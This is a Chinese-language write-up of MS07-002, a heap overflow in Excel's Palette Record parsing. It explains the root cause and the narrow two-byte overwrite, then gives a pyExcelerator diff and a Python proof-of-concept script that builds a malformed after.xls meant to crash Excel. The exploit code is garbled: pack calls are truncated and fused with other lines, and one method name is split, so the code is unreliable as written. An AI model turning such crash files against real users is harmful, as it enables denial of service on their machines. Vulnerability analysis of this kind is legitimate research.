MS07-002漏洞详解:Excel调色板记录(Palette Record)堆溢出引发拒绝服务(POC)
首先给出几个核心结论:该漏洞的根本原因是Excel在解析Palette Record(调色板记录)时存在边界检查缺陷,导致堆溢出。然而,其利用条件极为苛刻,远非一个可靠稳定的漏洞——攻击者能够覆盖的堆数据高度依赖于栈状态,最终仅能对特定地址的两个字节进行修改,且可写入的地址范围非常有限。下文将进行详细分析。
漏洞原理与描述
当Excel解析Palette Record时,由于边界检查不严格,触发了堆溢出漏洞。具体而言,记录中的颜色数量字段被错误处理,导致程序分配了过小的缓冲区,后续写入的数据超出了缓冲区边界。此处原本包含一张由DarunGrim工具生成的堆分析图(原图链接已移除),该图直观展示了溢出发生时的堆状态——需说明的是,该分析工具并非本文作者开发。
攻击向量分析
攻击者可以通过精心构造的Excel文件,将任意数据写入堆内存。但关键在于,这些“任意数据”实际上高度依赖于当前栈的状态——换言之,同一份恶意文件在不同环境下可能产生截然不同的溢出效果。最终结果是:攻击者只能将2个字节覆盖到限定范围内的某个地址(并非任意位置),这极大地限制了利用的可能性。
在某些特定环境下(例如,Excel已打开一个文件,再打开恶意文件时),攻击者可能通过修改函数指针来劫持程序执行流程。但这种方法完全不可靠——因为函数指针的位置、可写性以及堆布局均为动态变化。如果您有更优的利用思路,欢迎交流探讨。
漏洞造成的影响
该漏洞的直接后果是拒绝服务(DoS),即Excel进程崩溃。在理想条件下可能实现任意代码执行,但正如前文所述,利用稳定性极差。
补充说明与POC构造
在构造POC文件时,需要修改pyExcelerator模块,因为原始模块默认不生成Palette Record。以下是具体的diff修改内容:
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack(' self._rec_data = 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()
注意:此处提供的代码仅用于教育研究,禁止用于非法用途。
以下是完整的POC脚本(Python语言实现),该脚本首先生成一个正常的Excel文件,然后修改其中的Palette Record字段,将其颜色数量字段设置为0x01FF,从而触发堆溢出:
import sys, os
from struct import *
from pyExcelerator import *
def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.sa ve("before.xls")
def ModifyXLS():
try:
f = open("before.xls", "rb")
except:
print "File Open Error !"
sys.exit(0)
str = f.read()
f.close()
#write to malformed xls file
f = open("after.xls", "wb")
PaletteRecord = pack("
运行脚本后,会在当前目录生成一个名为after.xls的恶意Excel文件。使用Excel打开该文件,即可触发堆溢出并导致崩溃。请注意,该漏洞已在2007年1月的安全公告(MS07-002)中修复,建议所有用户及时更新安全补丁。
